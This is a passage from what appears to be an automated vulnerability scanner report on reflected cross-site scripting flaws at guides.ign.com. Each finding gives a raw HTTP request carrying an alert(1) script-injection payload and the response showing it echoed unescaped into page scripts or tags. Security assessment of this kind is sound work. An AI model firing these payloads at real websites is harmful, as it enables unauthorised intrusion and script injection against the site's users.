Cache-Control: must-revalidate,no-cache,no-store
Expires: Thu, 01 Jan 1970 00:00:00 GMT
Content-Type: text/html;charset=UTF-8
Set-Cookie: decc=US;Path=/;Domain=.ign.com
Set-Cookie: i18n-cc=US;Path=/;Domain=.ign.com
Set-Cookie: NGUserID=a016c0a-24030-1024535077-2;Path=/;Domain=.ign.com;Expires=Tue, 06-Aug-30 01:51:44 GMT
Set-Cookie: i18n-cc=US;Path=/;Domain=.ign.com
Set-Cookie: freq=c-1297043504486v-1n-12mc+1297043504486mv+1mn+12wwe~0;Path=/;Domain=.ign.com
Content-Length: 103450

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml"><head>
   <base target="_top"></bas
...[SNIP]...
peof _comscoreGuard == 'undefined') {
       COMSCORE.beacon({
        c1:2,
        c2:"3000068",
        c3:"",
        c4:"http://guides.ign.com/guides/14354229/?aa952"-alert(1)-"9cf633cfd9a=1",
        c5:"",
        c6:"",
        c15:"" });
       var _comscoreGuard = new Object();
   }
</script>
...[SNIP]...

3.226. http://guides.ign.com/guides/14354229/ [name of an arbitrarily supplied request parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://guides.ign.com
Path:	/guides/14354229/

Issue detail

The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 63fce"><script>alert(1)</script>0df05f822a8 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /guides/14354229/?63fce"><script>alert(1)</script>0df05f822a8=1 HTTP/1.1
Host: guides.ign.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Date: Mon, 07 Feb 2011 01:51:40 GMT
Pragma: no-cache
Cache-Control: must-revalidate,no-cache,no-store
Expires: Thu, 01 Jan 1970 00:00:00 GMT
Content-Type: text/html;charset=UTF-8
Set-Cookie: decc=US;Path=/;Domain=.ign.com
Set-Cookie: i18n-cc=US;Path=/;Domain=.ign.com
Set-Cookie: NGUserID=a016c05-27912-202697953-5;Path=/;Domain=.ign.com;Expires=Tue, 06-Aug-30 01:51:40 GMT
Set-Cookie: i18n-cc=US;Path=/;Domain=.ign.com
Set-Cookie: freq=c-1297043500981v-1n-12mc+1297043500981mv+1mn+12wwe~0;Path=/;Domain=.ign.com
Content-Length: 103524

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml"><head>
<base target="_top"></bas
...[SNIP]...
<img src="http://b.scorecardresearch.com/b?c1=2&c2=3000068&c3=&c4=http://guides.ign.com/guides/14354229/?63fce"><script>alert(1)</script>0df05f822a8=1&c5=&c6=&c15=C67BD3C1&cv=1.3&cj=1" style="display:none" width="0" height="0" alt="" />
...[SNIP]...

3.227. http://guides.ign.com/guides/57512/ [name of an arbitrarily supplied request parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://guides.ign.com
Path:	/guides/57512/

Issue detail

The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 2b175"><script>alert(1)</script>368b0241e73 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /guides/57512/?2b175"><script>alert(1)</script>368b0241e73=1 HTTP/1.1
Host: guides.ign.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Date: Mon, 07 Feb 2011 01:51:42 GMT
Pragma: no-cache
Cache-Control: must-revalidate,no-cache,no-store
Expires: Thu, 01 Jan 1970 00:00:00 GMT
Content-Type: text/html;charset=UTF-8
Set-Cookie: decc=US;Path=/;Domain=.ign.com
Set-Cookie: i18n-cc=US;Path=/;Domain=.ign.com
Set-Cookie: NGUserID=a016c0a-22919-1130846996-3;Path=/;Domain=.ign.com;Expires=Tue, 06-Aug-30 01:51:42 GMT
Set-Cookie: i18n-cc=US;Path=/;Domain=.ign.com
Set-Cookie: freq=c-1297043502870v-1n-12mc+1297043502870mv+1mn+12wwe~0;Path=/;Domain=.ign.com
Content-Length: 101641

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml"><head>
<base target="_top"></bas
...[SNIP]...
<img src="http://b.scorecardresearch.com/b?c1=2&c2=3000068&c3=&c4=http://guides.ign.com/guides/57512/?2b175"><script>alert(1)</script>368b0241e73=1&c5=&c6=&c15=C67BD3C1&cv=1.3&cj=1" style="display:none" width="0" height="0" alt="" />
...[SNIP]...

3.228. http://guides.ign.com/guides/57512/ [name of an arbitrarily supplied request parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://guides.ign.com
Path:	/guides/57512/

Issue detail

The name of an arbitrarily supplied request parameter is copied into a JavaScript string which is encapsulated in double quotation marks. The payload 18d1a"-alert(1)-"2edcddf6365 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Request

GET /guides/57512/?18d1a"-alert(1)-"2edcddf6365=1 HTTP/1.1
Host: guides.ign.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Date: Mon, 07 Feb 2011 01:51:49 GMT
Pragma: no-cache
Cache-Control: must-revalidate,no-cache,no-store
Expires: Thu, 01 Jan 1970 00:00:00 GMT
Content-Type: text/html;charset=UTF-8
Set-Cookie: decc=US;Path=/;Domain=.ign.com
Set-Cookie: i18n-cc=US;Path=/;Domain=.ign.com
Set-Cookie: NGUserID=a016c01-1825-1308755600-6;Path=/;Domain=.ign.com;Expires=Tue, 06-Aug-30 01:51:49 GMT
Set-Cookie: i18n-cc=US;Path=/;Domain=.ign.com
Set-Cookie: freq=c-1297043509654v-1n-12mc+1297043509654mv+1mn+12wwe~0;Path=/;Domain=.ign.com
Content-Length: 103290

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml"><head>
   <base target="_top"></bas
...[SNIP]...
(typeof _comscoreGuard == 'undefined') {
       COMSCORE.beacon({
        c1:2,
        c2:"3000068",
        c3:"",
        c4:"http://guides.ign.com/guides/57512/?18d1a"-alert(1)-"2edcddf6365=1",
        c5:"",
        c6:"",
        c15:"" });
       var _comscoreGuard = new Object();
   }
</script>
...[SNIP]...

3.229. http://guides.ign.com/index/nintendo-ds-guides/index.html [name of an arbitrarily supplied request parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://guides.ign.com
Path:	/index/nintendo-ds-guides/index.html

Issue detail

The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload d7965"><script>alert(1)</script>dd303f9c616 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /index/nintendo-ds-guides/index.html?d7965"><script>alert(1)</script>dd303f9c616=1 HTTP/1.1
Host: guides.ign.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Date: Mon, 07 Feb 2011 01:52:06 GMT
Server: Jetty/5.1.10 (Linux/2.6.18-164.6.1.el5 amd64 java/1.6.0_13
Pragma: no-cache
Cache-Control: must-revalidate,no-cache,no-store
Expires: Thu, 01 Jan 1970 00:00:00 GMT
Content-Type: text/html;charset=UTF-8
Set-Cookie: decc=US;Path=/;Domain=.ign.com
Set-Cookie: i18n-cc=US;Path=/;Domain=.ign.com
Set-Cookie: NGUserID=a016c07-32462-185637828-3;Path=/;Domain=.ign.com;Expires=Tue, 06-Aug-30 01:52:06 GMT
Set-Cookie: i18n-cc=US;Path=/;Domain=.ign.com
Set-Cookie: freq=c-1297043526579v-1n-12mc+1297043526579mv+1mn+12wwe~0;Path=/;Domain=.ign.com
Content-Length: 118063

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml"><!-- /* AD from: http://ssa.ign.co
...[SNIP]...
<img src="http://b.scorecardresearch.com/b?c1=2&c2=3000068&c3=&c4=http://guides.ign.com/index/nintendo-ds-guides/index.html?d7965"><script>alert(1)</script>dd303f9c616=1&c5=&c6=&c15=C67BD3C1&cv=1.3&cj=1" style="display:none" width="0" height="0" alt="" />
...[SNIP]...

3.230. http://guides.ign.com/index/nintendo-ds-guides/index.html [name of an arbitrarily supplied request parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://guides.ign.com
Path:	/index/nintendo-ds-guides/index.html

Issue detail

The name of an arbitrarily supplied request parameter is copied into a JavaScript string which is encapsulated in double quotation marks. The payload ae7f8"-alert(1)-"ca818502e9b was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Request

GET /index/nintendo-ds-guides/index.html?ae7f8"-alert(1)-"ca818502e9b=1 HTTP/1.1
Host: guides.ign.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Date: Mon, 07 Feb 2011 01:52:12 GMT
Server: Jetty/5.1.10 (Linux/2.6.18-164.6.1.el5 amd64 java/1.6.0_13
Pragma: no-cache
Cache-Control: must-revalidate,no-cache,no-store
Expires: Thu, 01 Jan 1970 00:00:00 GMT
Content-Type: text/html;charset=UTF-8
Set-Cookie: decc=US;Path=/;Domain=.ign.com
Set-Cookie: i18n-cc=US;Path=/;Domain=.ign.com
Set-Cookie: NGUserID=a016c03-26954-200633787-2;Path=/;Domain=.ign.com;Expires=Tue, 06-Aug-30 01:52:12 GMT
Set-Cookie: i18n-cc=US;Path=/;Domain=.ign.com
Set-Cookie: freq=c-1297043532207v-1n-12mc+1297043532207mv+1mn+12wwe~0;Path=/;Domain=.ign.com
Content-Length: 115750

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml"><!-- /* AD from: http://ssa.ign.co
...[SNIP]...
== 'undefined') {
       COMSCORE.beacon({
        c1:2,
        c2:"3000068",
        c3:"",
        c4:"http://guides.ign.com/index/nintendo-ds-guides/index.html?ae7f8"-alert(1)-"ca818502e9b=1",
        c5:"",
        c6:"",
        c15:"" });
       var _comscoreGuard = new Object();
   }
</script>
...[SNIP]...

3.231. http://guides.ign.com/index/pc-guides/index.html [name of an arbitrarily supplied request parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://guides.ign.com
Path:	/index/pc-guides/index.html

Issue detail

The name of an arbitrarily supplied request parameter is copied into a JavaScript string which is encapsulated in double quotation marks. The payload 6c1e5"-alert(1)-"2063a2f4975 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Request

GET /index/pc-guides/index.html?6c1e5"-alert(1)-"2063a2f4975=1 HTTP/1.1
Host: guides.ign.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Date: Mon, 07 Feb 2011 01:52:16 GMT
Server: Jetty/5.1.10 (Linux/2.6.18-164.6.1.el5 amd64 java/1.6.0_13
Pragma: no-cache
Cache-Control: must-revalidate,no-cache,no-store
Expires: Thu, 01 Jan 1970 00:00:00 GMT
Content-Type: text/html;charset=UTF-8
Set-Cookie: decc=US;Path=/;Domain=.ign.com
Set-Cookie: i18n-cc=US;Path=/;Domain=.ign.com
Set-Cookie: NGUserID=a016c08-31833-1686094392-4;Path=/;Domain=.ign.com;Expires=Tue, 06-Aug-30 01:52:16 GMT
Set-Cookie: i18n-cc=US;Path=/;Domain=.ign.com
Set-Cookie: freq=c-1297043536299v-1n-12mc+1297043536299mv+1mn+12wwe~0;Path=/;Domain=.ign.com
Content-Length: 135906

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml"><!-- /* AD from: http://ssa.ign.co
...[SNIP]...
coreGuard == 'undefined') {
       COMSCORE.beacon({
        c1:2,
        c2:"3000068",
        c3:"",
        c4:"http://guides.ign.com/index/pc-guides/index.html?6c1e5"-alert(1)-"2063a2f4975=1",
        c5:"",
        c6:"",
        c15:"" });
       var _comscoreGuard = new Object();
   }
</script>
...[SNIP]...

3.232. http://guides.ign.com/index/pc-guides/index.html [name of an arbitrarily supplied request parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://guides.ign.com
Path:	/index/pc-guides/index.html

Issue detail

The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload d3687"><script>alert(1)</script>21ca2f65936 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /index/pc-guides/index.html?d3687"><script>alert(1)</script>21ca2f65936=1 HTTP/1.1
Host: guides.ign.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Date: Mon, 07 Feb 2011 01:52:10 GMT
Server: Jetty/5.1.10 (Linux/2.6.18-164.6.1.el5 amd64 java/1.6.0_13
Pragma: no-cache
Cache-Control: must-revalidate,no-cache,no-store
Expires: Thu, 01 Jan 1970 00:00:00 GMT
Content-Type: text/html;charset=UTF-8
Set-Cookie: decc=US;Path=/;Domain=.ign.com
Set-Cookie: i18n-cc=US;Path=/;Domain=.ign.com
Set-Cookie: NGUserID=a016c0a-22919-971840205-1;Path=/;Domain=.ign.com;Expires=Tue, 06-Aug-30 01:52:11 GMT
Set-Cookie: i18n-cc=US;Path=/;Domain=.ign.com
Set-Cookie: freq=c-1297043531050v-1n-12mc+1297043531050mv+1mn+12wwe~0;Path=/;Domain=.ign.com
Content-Length: 137635

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml"><!-- /* AD from: http://ssa.ign.co
...[SNIP]...
<img src="http://b.scorecardresearch.com/b?c1=2&c2=3000068&c3=&c4=http://guides.ign.com/index/pc-guides/index.html?d3687"><script>alert(1)</script>21ca2f65936=1&c5=&c6=&c15=C67BD3C1&cv=1.3&cj=1" style="display:none" width="0" height="0" alt="" />
...[SNIP]...

3.233. http://guides.ign.com/index/playstation-3-guides/index.html [name of an arbitrarily supplied request parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://guides.ign.com
Path:	/index/playstation-3-guides/index.html

Issue detail

The name of an arbitrarily supplied request parameter is copied into a JavaScript string which is encapsulated in double quotation marks. The payload bf77d"-alert(1)-"df4abcff55c was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Request

GET /index/playstation-3-guides/index.html?bf77d"-alert(1)-"df4abcff55c=1 HTTP/1.1
Host: guides.ign.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Date: Mon, 07 Feb 2011 01:52:12 GMT
Server: Jetty/5.1.10 (Linux/2.6.18-164.6.1.el5 amd64 java/1.6.0_13
Pragma: no-cache
Cache-Control: must-revalidate,no-cache,no-store
Expires: Thu, 01 Jan 1970 00:00:00 GMT
Content-Type: text/html;charset=UTF-8
Set-Cookie: decc=US;Path=/;Domain=.ign.com
Set-Cookie: i18n-cc=US;Path=/;Domain=.ign.com
Set-Cookie: NGUserID=a016c06-15005-2109947519-6;Path=/;Domain=.ign.com;Expires=Tue, 06-Aug-30 01:52:12 GMT
Set-Cookie: i18n-cc=US;Path=/;Domain=.ign.com
Set-Cookie: freq=c-1297043532715v-1n-12mc+1297043532715mv+1mn+12wwe~0;Path=/;Domain=.ign.com
Content-Length: 145612

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml"><!-- /* AD from: http://ssa.ign.co
...[SNIP]...
= 'undefined') {
       COMSCORE.beacon({
        c1:2,
        c2:"3000068",
        c3:"",
        c4:"http://guides.ign.com/index/playstation-3-guides/index.html?bf77d"-alert(1)-"df4abcff55c=1",
        c5:"",
        c6:"",
        c15:"" });
       var _comscoreGuard = new Object();
   }
</script>
...[SNIP]...

3.234. http://guides.ign.com/index/playstation-3-guides/index.html [name of an arbitrarily supplied request parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://guides.ign.com
Path:	/index/playstation-3-guides/index.html

Issue detail

The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 602cf"><script>alert(1)</script>6d68ab200cc was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /index/playstation-3-guides/index.html?602cf"><script>alert(1)</script>6d68ab200cc=1 HTTP/1.1
Host: guides.ign.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Date: Mon, 07 Feb 2011 01:52:08 GMT
Server: Jetty/5.1.10 (Linux/2.6.18-164.6.1.el5 amd64 java/1.6.0_13
Pragma: no-cache
Cache-Control: must-revalidate,no-cache,no-store
Expires: Thu, 01 Jan 1970 00:00:00 GMT
Content-Type: text/html;charset=UTF-8
Set-Cookie: decc=US;Path=/;Domain=.ign.com
Set-Cookie: i18n-cc=US;Path=/;Domain=.ign.com
Set-Cookie: NGUserID=a016c05-27365-857166433-1;Path=/;Domain=.ign.com;Expires=Tue, 06-Aug-30 01:52:08 GMT
Set-Cookie: i18n-cc=US;Path=/;Domain=.ign.com
Set-Cookie: freq=c-1297043528573v-1n-12mc+1297043528573mv+1mn+12wwe~0;Path=/;Domain=.ign.com
Content-Length: 140472

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml"><!-- /* AD from: http://ssa.ign.co
...[SNIP]...
<img src="http://b.scorecardresearch.com/b?c1=2&c2=3000068&c3=&c4=http://guides.ign.com/index/playstation-3-guides/index.html?602cf"><script>alert(1)</script>6d68ab200cc=1&c5=&c6=&c15=C67BD3C1&cv=1.3&cj=1" style="display:none" width="0" height="0" alt="" />
...[SNIP]...

3.235. http://guides.ign.com/index/playstation-portable-guides/index.html [name of an arbitrarily supplied request parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://guides.ign.com
Path:	/index/playstation-portable-guides/index.html

Issue detail

The name of an arbitrarily supplied request parameter is copied into a JavaScript string which is encapsulated in double quotation marks. The payload 14581"-alert(1)-"41ba447a92a was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Request

GET /index/playstation-portable-guides/index.html?14581"-alert(1)-"41ba447a92a=1 HTTP/1.1
Host: guides.ign.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Date: Mon, 07 Feb 2011 01:52:22 GMT
Server: Jetty/5.1.10 (Linux/2.6.18-164.6.1.el5 amd64 java/1.6.0_13
Pragma: no-cache
Cache-Control: must-revalidate,no-cache,no-store
Expires: Thu, 01 Jan 1970 00:00:00 GMT
Content-Type: text/html;charset=UTF-8
Set-Cookie: decc=US;Path=/;Domain=.ign.com
Set-Cookie: i18n-cc=US;Path=/;Domain=.ign.com
Set-Cookie: NGUserID=a016c08-31243-1901944932-2;Path=/;Domain=.ign.com;Expires=Tue, 06-Aug-30 01:52:22 GMT
Set-Cookie: i18n-cc=US;Path=/;Domain=.ign.com
Set-Cookie: freq=c-1297043542196v-1n-12mc+1297043542196mv+1mn+12wwe~0;Path=/;Domain=.ign.com
Content-Length: 143314

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml"><!-- /* AD from: http://ssa.ign.co
...[SNIP]...
fined') {
       COMSCORE.beacon({
        c1:2,
        c2:"3000068",
        c3:"",
        c4:"http://guides.ign.com/index/playstation-portable-guides/index.html?14581"-alert(1)-"41ba447a92a=1",
        c5:"",
        c6:"",
        c15:"" });
       var _comscoreGuard = new Object();
   }
</script>
...[SNIP]...

3.236. http://guides.ign.com/index/playstation-portable-guides/index.html [name of an arbitrarily supplied request parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://guides.ign.com
Path:	/index/playstation-portable-guides/index.html

Issue detail

The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 9e2e2"><script>alert(1)</script>675d2226e51 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /index/playstation-portable-guides/index.html?9e2e2"><script>alert(1)</script>675d2226e51=1 HTTP/1.1
Host: guides.ign.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Date: Mon, 07 Feb 2011 01:52:18 GMT
Server: Jetty/5.1.10 (Linux/2.6.18-164.6.1.el5 amd64 java/1.6.0_13
Pragma: no-cache
Cache-Control: must-revalidate,no-cache,no-store
Expires: Thu, 01 Jan 1970 00:00:00 GMT
Content-Type: text/html;charset=UTF-8
Set-Cookie: decc=US;Path=/;Domain=.ign.com
Set-Cookie: i18n-cc=US;Path=/;Domain=.ign.com
Set-Cookie: NGUserID=a016c08-31243-477600234-7;Path=/;Domain=.ign.com;Expires=Tue, 06-Aug-30 01:52:18 GMT
Set-Cookie: i18n-cc=US;Path=/;Domain=.ign.com
Set-Cookie: freq=c-1297043538920v-1n-12mc+1297043538920mv+1mn+12wwe~0;Path=/;Domain=.ign.com
Content-Length: 143374

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml"><!-- /* AD from: http://ssa.ign.co
...[SNIP]...
<img src="http://b.scorecardresearch.com/b?c1=2&c2=3000068&c3=&c4=http://guides.ign.com/index/playstation-portable-guides/index.html?9e2e2"><script>alert(1)</script>675d2226e51=1&c5=&c6=&c15=C67BD3C1&cv=1.3&cj=1" style="display:none" width="0" height="0" alt="" />
...[SNIP]...

3.237. http://guides.ign.com/index/wii-guides/index.html [name of an arbitrarily supplied request parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://guides.ign.com
Path:	/index/wii-guides/index.html

Issue detail

The name of an arbitrarily supplied request parameter is copied into a JavaScript string which is encapsulated in double quotation marks. The payload 79f31"-alert(1)-"6589df5dc07 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Request

GET /index/wii-guides/index.html?79f31"-alert(1)-"6589df5dc07=1 HTTP/1.1
Host: guides.ign.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Date: Mon, 07 Feb 2011 01:52:04 GMT
Server: Jetty/5.1.10 (Linux/2.6.18-164.6.1.el5 amd64 java/1.6.0_13
Pragma: no-cache
Cache-Control: must-revalidate,no-cache,no-store
Expires: Thu, 01 Jan 1970 00:00:00 GMT
Content-Type: text/html;charset=UTF-8
Set-Cookie: decc=US;Path=/;Domain=.ign.com
Set-Cookie: i18n-cc=US;Path=/;Domain=.ign.com
Set-Cookie: NGUserID=a016c04-13836-962426549-4;Path=/;Domain=.ign.com;Expires=Tue, 06-Aug-30 01:52:04 GMT
Set-Cookie: i18n-cc=US;Path=/;Domain=.ign.com
Set-Cookie: freq=c-1297043524332v-1n-12mc+1297043524332mv+1mn+12wwe~0;Path=/;Domain=.ign.com
Content-Length: 133620

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml"><!-- /* AD from: http://ssa.ign.co
...[SNIP]...
oreGuard == 'undefined') {
       COMSCORE.beacon({
        c1:2,
        c2:"3000068",
        c3:"",
        c4:"http://guides.ign.com/index/wii-guides/index.html?79f31"-alert(1)-"6589df5dc07=1",
        c5:"",
        c6:"",
        c15:"" });
       var _comscoreGuard = new Object();
   }
</script>
...[SNIP]...

3.238. http://guides.ign.com/index/wii-guides/index.html [name of an arbitrarily supplied request parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://guides.ign.com
Path:	/index/wii-guides/index.html

Issue detail

The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 2e2c4"><script>alert(1)</script>df958c8831b was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /index/wii-guides/index.html?2e2c4"><script>alert(1)</script>df958c8831b=1 HTTP/1.1
Host: guides.ign.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Date: Mon, 07 Feb 2011 01:51:59 GMT
Server: Jetty/5.1.10 (Linux/2.6.18-164.6.1.el5 amd64 java/1.6.0_13
Pragma: no-cache
Cache-Control: must-revalidate,no-cache,no-store
Expires: Thu, 01 Jan 1970 00:00:00 GMT
Content-Type: text/html;charset=UTF-8
Set-Cookie: decc=US;Path=/;Domain=.ign.com
Set-Cookie: i18n-cc=US;Path=/;Domain=.ign.com
Set-Cookie: NGUserID=a016c03-27586-1780251480-1;Path=/;Domain=.ign.com;Expires=Tue, 06-Aug-30 01:51:59 GMT
Set-Cookie: i18n-cc=US;Path=/;Domain=.ign.com
Set-Cookie: freq=c-1297043519048v-1n-12mc+1297043519048mv+1mn+12wwe~0;Path=/;Domain=.ign.com
Content-Length: 133680

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml"><!-- /* AD from: http://ssa.ign.co
...[SNIP]...
<img src="http://b.scorecardresearch.com/b?c1=2&c2=3000068&c3=&c4=http://guides.ign.com/index/wii-guides/index.html?2e2c4"><script>alert(1)</script>df958c8831b=1&c5=&c6=&c15=C67BD3C1&cv=1.3&cj=1" style="display:none" width="0" height="0" alt="" />
...[SNIP]...

3.239. http://guides.ign.com/index/xbox-360-guides/index.html [name of an arbitrarily supplied request parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://guides.ign.com
Path:	/index/xbox-360-guides/index.html

Issue detail

The name of an arbitrarily supplied request parameter is copied into a JavaScript string which is encapsulated in double quotation marks. The payload 1b789"-alert(1)-"3df258bc491 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Request

GET /index/xbox-360-guides/index.html?1b789"-alert(1)-"3df258bc491=1 HTTP/1.1
Host: guides.ign.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Date: Mon, 07 Feb 2011 01:52:09 GMT
Server: Jetty/5.1.10 (Linux/2.6.18-164.6.1.el5 amd64 java/1.6.0_13
Pragma: no-cache
Cache-Control: must-revalidate,no-cache,no-store
Expires: Thu, 01 Jan 1970 00:00:00 GMT
